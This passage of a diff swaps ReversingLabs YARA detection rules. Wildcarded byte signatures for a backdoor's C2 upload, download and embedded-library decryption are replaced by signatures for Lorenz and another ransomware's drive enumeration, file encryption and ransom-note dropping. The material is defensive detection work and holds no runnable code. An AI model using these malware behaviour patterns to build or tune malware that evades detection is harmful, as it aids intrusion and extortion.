?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 33 D2 48 8D 0D ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 45 33 C9 48 89 44 24 ?? 45 } - $decrypt_embedded_library_2 = { - 48 8D 7C 24 ?? 49 89 F9 0F 1F 84 00 ?? ?? ?? ?? 89 CA 89 C8 83 C1 ?? C1 FA ?? F7 FB - 48 63 D2 0F B6 04 16 41 88 01 49 83 C1 ?? 81 F9 ?? ?? ?? ?? 75 ?? 48 8D B5 ?? ?? ?? - ?? 48 89 E8 31 D2 66 90 0F B6 18 44 0F B6 0F 48 83 C7 ?? 0F B6 CB 41 8D 0C 09 8D 14 - 11 41 89 D3 41 C1 FB ?? 41 C1 EB ?? 44 01 DA 81 E2 ?? ?? ?? ?? 44 29 DA 48 63 CA 83 - C2 ?? 44 0F B6 8C 0C ?? ?? ?? ?? 44 88 08 48 83 C0 ?? 88 9C 0C ?? ?? ?? ?? 48 39 F0 - 75 ?? 4D 29 C2 45 85 D2 0F 8E ?? ?? ?? ?? 41 83 EA ?? 31 C0 31 D2 4F 8D 54 10 ?? 66 - 0F 1F 84 00 ?? ?? 00 00 83 C2 ?? 89 D1 C1 F9 ?? C1 E9 ?? 01 CA 81 E2 ?? ?? ?? ?? 29 - CA 48 63 CA 83 C2 ?? 0F B6 BC 0C ?? ?? ?? ?? 40 0F B6 DF 8D 04 03 89 C6 C1 FE ?? C1 - EE ?? 01 F0 25 ?? ?? ?? ?? 29 F0 48 63 F0 83 C0 ?? 44 0F B6 8C 34 ?? ?? ?? ?? 44 88 - 8C 0C ?? ?? ?? ?? 40 88 BC 34 ?? ?? ?? ?? 02 9C 0C ?? ?? ?? ?? 0F B6 DB 0F B6 8C 1C - ?? ?? ?? ?? 41 30 08 49 83 C0 ?? 4D 39 D0 75 ?? B9 ?? ?? ?? ?? 31 C0 48 89 EF F3 48 - AB 48 8B BC 24 ?? ?? ?? ?? 48 85 FF 74 ?? E8 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 - 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 - 8B 84 24 ?? ?? ?? ?? 48 29 F8 48 C1 F8 ?? 48 83 F8 ?? 74 ?? 48 8B BC 24 ?? ?? ?? ?? - 48 85 FF 74 ?? E8 ?? ?? ?? ?? 4C 89 FF E8 ?? ?? ?? ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? - 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D 41 5E 41 5F C3 + $encrypt_files_p2 = { + 33 C0 BA ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B + 15 ?? ?? ?? ?? 45 33 C9 48 8B 8D ?? ?? ?? ?? 44 8B C0 FF 15 ?? ?? ?? ?? 4C 8B 85 ?? + ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 44 8B CF BA ?? ?? ?? ?? 48 89 44 + 24 ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 32 DB 41 BD ?? ?? ?? ?? 48 + 8B F8 66 66 66 0F 1F 84 00 ?? ?? 00 00 4C 8D 8D ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? + ?? 41 B8 ?? ?? ?? ?? 48 8B D7 48 8B CE FF 15 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? + ?? 48 8D 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 44 24 ?? + 0F B6 DB 41 0F 42 DD 48 89 7C 24 ?? 44 0F B6 C3 45 33 C9 33 D2 FF 15 ?? ?? ?? ?? 44 + 8B 85 ?? ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? 48 8B D7 48 C7 44 24 ?? ?? ?? ?? ?? 49 8B CE + FF 15 ?? ?? ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 4C 8B 6C 24 ?? 48 85 F6 74 ?? 48 8B CE FF + 15 ?? ?? ?? ?? 4D 85 F6 } - $remove_backdoor_p1 = { - 41 57 48 8D 35 ?? ?? ?? ?? 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 - ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? - 48 89 DF E8 ?? ?? ?? ?? 48 89 EE 48 89 DF E8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 - 89 C6 48 89 D7 48 89 54 24 ?? E8 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 89 DF E8 ?? - ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 4C 8B 35 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 - EF 49 8D 76 ?? E8 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 89 EE 48 89 DF E8 ?? ?? ?? - ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 DE 48 89 C7 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 89 DF - E8 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 2B 84 24 ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 49 - 8D 76 ?? 48 89 EF E8 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 89 EE 48 89 DF E8 ?? ?? - ?? ?? 4C 8D A4 24 ?? ?? ?? ?? 48 89 DE 4C 89 E7 E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 4C 89 - E6 E8 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 85 FF 74 ?? E8 ?? ?? ?? ?? 48 89 DF E8 - ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 2B 84 24 + $drop_ransom_note = { + 48 85 C9 74 ?? B8 ?? ?? ?? ?? 48 2B C1 48 85 C9 49 0F 44 C6 BA ?? ?? ?? ?? 48 2B D0 + 48 8D 8D ?? ?? ?? ?? 48 8D 0C 41 74 ?? 48 05 ?? ?? ?? ?? 48 03 C2 4C 8D 0D ?? ?? ?? + ?? 4C 2B C9 66 90 48 85 C0 74 ?? 46 0F B7 04 09 66 45 85 C0 74 ?? 66 44 89 01 48 83 + C1 ?? 48 FF C8 48 83 EA ?? 75 ?? 48 8D 41 ?? 48 85 D2 48 0F 45 C1 66 44 89 30 4C 89 + 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 45 33 C0 BA ?? ?? + ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 49 C7 C0 ?? ?? ?? ?? 49 FF C0 + 46 38 34 06 75 ?? 4C 89 74 24 ?? 4C 8D 8D ?? ?? ?? ?? 48 8B D6 48 8B CB FF 15 ?? ?? + ?? ?? 48 85 DB 74 ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CE E8 ?? ?? ?? ?? 90 48 8B 95 + ?? ?? ?? ?? 48 83 FA ?? 72 ?? 48 FF C2 48 8B 4D ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 + ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 33 F6 48 89 B5 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 40 88 75 ?? 48 + 8B 95 ?? ?? ?? ?? 48 83 FA ?? 0F 82 ?? ?? ?? ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 8D ?? + ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 48 83 C2 ?? 48 8B 49 ?? 48 + 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 86 ?? ?? ?? ?? FF 15 } - $remove_backdoor_p2 = { - 45 31 FF 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 4C 8D A4 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? - ?? 48 8D 35 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 8D 94 24 - ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 - 89 DF E8 ?? ?? ?? ?? 48 89 EE 48 89 DF E8 ?? ?? ?? ?? 4C 8D AC 24 ?? ?? ?? ?? 4C 89 - E2 48 89 C6 4C 89 EF E8 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? - 48 89 EF E8 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 8B 84 24 - ?? ?? ?? ?? 48 29 F8 48 C1 F8 ?? 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 41 8B 06 85 C0 0F 84 - ?? ?? ?? ?? 48 8D 5C 24 ?? 31 C0 B9 ?? ?? ?? ?? 45 85 FF 48 89 DF F3 48 AB 0F 85 ?? - ?? ?? ?? 44 8B 7C 24 ?? 45 85 FF 74 ?? 31 C0 B9 ?? ?? ?? ?? 48 89 DF F3 48 AB 8B 54 - 24 ?? 48 8D 35 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 EF - E8 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 85 FF 74 ?? E8 ?? ?? ?? ?? 48 8B 7C 24 ?? - E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D 41 5E 41 5F C3 + $enum_drives = { + 48 89 5D ?? 48 C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? FF 15 ?? ?? ?? ?? 8B F8 0F A3 DF 0F + 83 ?? ?? ?? ?? 8D 4B ?? 48 C7 45 ?? ?? ?? ?? ?? 88 4D ?? 48 C7 45 ?? ?? ?? ?? ?? 66 + C7 45 ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 3B 05 ?? ?? ?? ?? 74 ?? 48 8D 55 ?? 48 8B C8 + E8 ?? ?? ?? ?? 48 83 05 ?? ?? ?? ?? ?? EB ?? 4C 8D 45 ?? 48 8B D0 48 8D 0D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 90 48 8B 45 ?? 48 83 F8 ?? 72 ?? 48 8D 50 ?? 48 8B 4D ?? 48 8B C1 + 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? + 77 ?? E8 ?? ?? ?? ?? FF C3 83 FB ?? 0F 8C ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? + E8 ?? ?? ?? ?? 90 33 C0 48 8B 4D ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 5C 24 ?? 49 8B 5B + ?? 49 8B 7B ?? 49 8B E3 5D C3 FF 15 } condition: - uint32( 0 ) == 0x464C457F and ( $load_embedded_library ) and ( all of ( $decrypt_embedded_library_* ) ) and ( all of ( $remove_backdoor_p* ) ) + uint16( 0 ) == 0x5A4D and ( $enum_drives ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $drop_ransom_note ) } -rule REVERSINGLABS_Win64_Backdoor_Eggstremefuel : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Lorenz : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects EggStremeFuel backdoor." + description = "Yara rule that detects Lorenz ransomware." author = "ReversingLabs" - id = "ec9d0294-042c-513e-9b7e-1cb9ca812f09" - date = "2025-11-03" - modified = "2025-11-03" + id = "cc97dd15-d518-5d9f-9384-3dcf81e34e81" + date = "2022-10-24" + modified = "2022-10-24" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win64.Backdoor.EggStremeFuel.yara#L1-L144" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Lorenz.yara#L1-L252" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c229cc4357353a8bc1305389e0b4146558ef449498eeb3a9dc118b82895d6e80" + logic_hash = "b8668fcc560d264c37e3fbb52d5a5f1223a282abd9e984b3109efe9ab454be9f" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "EggStremeFuel" + tc_detection_type = "Ransomware" + tc_detection_name = "Lorenz" tc_detection_factor = 5 importance = 25 strings: - $download_file_from_c2 = { - 48 89 5C 24 ?? 55 56 57 48 8D AC 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 2B - E0 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 0F 10 02 48 8D 44 24 ?? 48 8B - F9 0F 10 4A ?? B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 0F 11 00 0F 10 42 ?? 0F 11 48 ?? 0F - 10 4A ?? 0F 11 40 ?? 0F 10 42 ?? 0F 11 48 ?? 0F 10 4A ?? 0F 11 40 ?? 0F 10 42 ?? 0F - 11 48 ?? 0F 11 40 ?? 48 03 C1 0F 10 42 ?? 48 03 D1 48 8D 8D ?? ?? ?? ?? 0F 11 40 ?? - 0F 10 0A 0F 10 42 ?? 0F 11 08 0F 10 4A ?? 0F 11 40 ?? 0F 10 42 ?? 0F 11 48 ?? 0F 10 - 4A ?? 33 D2 0F 11 40 ?? 0F 11 48 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 C1 E8 ?? 85 C0 - 75 ?? 48 8D 44 24 ?? 49 83 C8 ?? 49 FF C0 42 80 3C 00 ?? 75 ?? 45 33 C9 48 8D 54 24 - ?? E9 ?? ?? ?? ?? 81 7C 24 ?? ?? ?? ?? ?? 75 ?? 48 8D 44 24 ?? 49 83 C8 ?? 49 FF C0 - 42 80 3C 00 ?? 75 ?? 41 B9 ?? ?? ?? ?? EB ?? 33 D2 48 8D 4D ?? 41 B8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 44 8B 44 24 ?? 48 8D 95 ?? ?? ?? ?? 48 8B 8F ?? ?? ?? ?? 45 33 C9 FF 15 - ?? ?? ?? ?? 44 8B 44 24 ?? 8B D8 41 3B C0 7D ?? 48 63 CB 48 8D 95 ?? ?? ?? ?? 48 03 - D1 44 2B C3 48 8B 8F ?? ?? ?? ?? 45 33 C9 FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F0 FF - 15 ?? ?? ?? ?? 85 F6 7F ?? 48 8B CF E8 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 44 8B 44 - 24 ?? 03 DE 41 3B D8 7C ?? 44 89 44 24 ?? 48 8D 97 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 4C - 8D 8D ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 44 8B 44 24 ?? 48 8D 95 ?? ?? ?? ?? 41 - B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 8B 9C - 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5F 5E 5D C3 - } - $upload_file_to_c2 = { - 48 89 5C 24 ?? 48 89 74 24 ?? 55 57 41 56 48 8D AC 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 48 2B E0 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 48 8B 3D ?? - ?? ?? ?? 45 8B F0 48 8B F2 48 8B 4F ?? 48 85 C9 74 ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? - ?? ?? 48 8B CE E8 ?? ?? ?? ?? 48 89 47 ?? 48 8B D8 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? - 33 D2 48 8D 4C 24 ?? 8B D8 44 8D 42 ?? E8 ?? ?? ?? ?? 44 8B C3 48 8D 15 ?? ?? ?? ?? - 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 4C 24 ?? 48 83 C8 ?? 48 FF C0 80 3C 01 ?? 75 ?? - 4C 8B C8 4C 8D 44 24 ?? BA ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 C0 C6 44 24 ?? ?? 33 D2 48 - 89 44 24 ?? 41 B8 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 4D ?? 66 89 44 24 ?? 88 44 24 ?? - E8 ?? ?? ?? ?? 33 D2 48 8B CB 44 8D 42 ?? E8 ?? ?? ?? ?? 48 8B 4F ?? E8 ?? ?? ?? ?? - 44 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 4F ?? 45 33 C0 41 - 8B D6 E8 ?? ?? ?? ?? 48 8D 4C 24 ?? 48 83 C8 ?? 48 FF C0 80 3C 01 ?? 75 ?? 89 44 24 - ?? 45 33 C9 48 8D 44 24 ?? 4C 8B C6 48 89 44 24 ?? 45 8D 71 ?? 41 8B D6 E8 ?? ?? ?? - ?? EB ?? 4C 8B 4F ?? 48 8D 4D ?? BA ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 - ?? ?? ?? ?? 48 8B D8 FF 15 ?? ?? ?? ?? 83 64 24 ?? ?? 4C 8D 45 ?? 48 83 64 24 ?? ?? - 44 8B CB 41 8B D6 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8B 4F ?? E8 ?? ?? ?? ?? 85 C0 74 ?? - B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 4C 8B C6 41 8B D6 83 64 24 ?? ?? - 48 83 64 24 ?? ?? E8 ?? ?? ?? ?? 48 8B 4F ?? 48 85 C9 74 ?? E8 ?? ?? ?? ?? 48 8B 8D - ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 73 ?? - 49 8B E3 41 5E 5F 5D C3 + $encrypt_files_v1_p1 = { + BE ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? A5 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? + ?? ?? A5 A5 A4 8B 35 ?? ?? ?? ?? FF D6 89 85 ?? ?? ?? ?? 33 C0 50 68 ?? ?? ?? ?? 6A + ?? 50 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 68 ?? ?? ?? ?? 6A ?? 6A ?? 89 85 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 85 C0 75 + ?? FF D6 8B 3D ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF D7 EB ?? 8B 3D ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 + C0 75 ?? FF D6 6A ?? FF B5 ?? ?? ?? ?? FF D7 6A ?? 6A ?? 53 FF B5 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? 85 C0 75 ?? FF D6 8D 85 ?? ?? ?? ?? 33 DB 50 53 FF B5 ?? ?? ?? ?? 68 ?? + ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF D6 53 FF B5 ?? ?? ?? ?? + FF D7 6A ?? 8D 45 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? + ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 53 8B 9D ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B + 0D ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 89 4D ?? 66 8B 0D ?? ?? ?? ?? 66 89 4D ?? 8D 4D + ?? 89 85 ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 6A ?? 50 2B CA 8D 45 ?? 51 50 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 68 + ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 33 C0 50 50 } - $get_logical_drive_data_p1 = { - 48 8B C4 55 57 41 54 41 56 41 57 48 8D A8 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 C7 44 - 24 ?? ?? ?? ?? ?? 48 89 58 ?? 48 89 70 ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? - ?? ?? ?? 48 8B F9 33 D2 41 B8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 - ?? ?? 33 C0 48 89 45 ?? 88 45 ?? 33 D2 33 C9 FF 15 ?? ?? ?? ?? 48 63 D8 48 8B CB E8 - ?? ?? ?? ?? 48 8B F0 48 8B D0 8B CB FF 15 ?? ?? ?? ?? 45 33 E4 41 BE ?? ?? ?? ?? 45 - 8B C6 33 D2 48 8D 4D ?? E8 ?? ?? ?? ?? 45 8B C6 33 D2 48 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B C3 99 83 E2 ?? 03 C2 C1 F8 ?? 85 C0 0F 8E ?? ?? ?? ?? 33 DB C6 44 24 ?? ?? - 4C 8B F6 44 8B F8 8A 04 33 88 44 24 ?? 49 8B CE FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 80 - 7F ?? ?? 75 ?? 0F B7 44 24 ?? 66 89 47 ?? C6 47 ?? ?? C6 47 ?? ?? 48 8D 15 ?? ?? ?? - ?? EB ?? 83 F8 ?? 75 ?? 48 8D 15 ?? ?? ?? ?? EB ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 48 8D - 15 ?? ?? ?? ?? 44 0F BE 04 33 48 8D 4D ?? E8 ?? ?? ?? ?? 0F B7 45 ?? 66 89 45 ?? 8A - 45 ?? 88 45 ?? 4C 8D 4C 24 ?? 4C 8D 44 24 ?? 48 8D 54 24 ?? 48 8D 4D ?? FF 15 ?? ?? - ?? ?? 85 C0 74 ?? 4C 8B 4C 24 ?? 49 C1 E9 ?? 4C 8B 44 24 ?? 49 C1 E8 ?? 48 8D 15 ?? - ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? - ?? ?? 48 83 64 24 ?? ?? C6 44 24 ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? - ?? ?? 90 48 C7 45 ?? ?? ?? ?? ?? 48 83 65 ?? ?? C6 44 24 ?? ?? 48 8D 55 ?? 48 8D 4C + $encrypt_files_v1_p2 = { + 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 D2 42 3B C2 75 ?? 83 BD ?? ?? ?? ?? ?? + 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? 33 D2 42 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 03 8D + ?? ?? ?? ?? 3B 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 6A ?? 89 8D ?? ?? ?? ?? 0F 44 C2 8D + 8D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 51 8D 4D ?? 51 6A ?? 50 6A ?? FF B5 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 85 C0 74 ?? 83 A5 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF B5 ?? + ?? ?? ?? 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8D 45 ?? 6A ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? + 85 C0 0F 85 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF D7 FF B5 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 53 FF D6 8B 85 ?? ?? ?? + ?? 50 FF D6 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F + 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 } - $get_logical_drive_data_p2 = { - 24 ?? E8 ?? ?? ?? ?? 90 48 8D 4F ?? 4C 8D 44 24 ?? 48 8D 54 24 ?? E8 ?? ?? ?? ?? 90 - 45 33 C0 B2 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 45 33 C0 B2 ?? 48 8D 4C 24 ?? E8 ?? - ?? ?? ?? 41 B8 ?? ?? ?? ?? 33 D2 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? - ?? 33 D2 48 8D 4D ?? E8 ?? ?? ?? ?? 49 83 C6 ?? 41 83 C4 ?? 48 83 C3 ?? 49 83 EF ?? - 0F 85 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 4F ?? E8 ?? ?? ?? ?? 90 48 83 78 ?? ?? 72 ?? - 48 8B 00 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 45 33 - C0 B2 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 83 C9 ?? 49 FF C1 42 - 80 3C 08 ?? 75 ?? 83 64 24 ?? ?? 48 83 64 24 ?? ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 8D 4F ?? E8 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? - ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 73 ?? 49 8B E3 41 5F 41 5E 41 5C 5F - 5D C3 + $find_files_v1_p1 = { + FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 6A ?? 0F 57 C0 C6 45 + ?? ?? 6A ?? 6A ?? 0F 11 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 + C0 74 ?? 89 18 89 58 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 08 8B 3D ?? ?? ?? ?? + 8B B5 ?? ?? ?? ?? C6 45 ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F + 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF + D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 FF D7 85 C0 0F 84 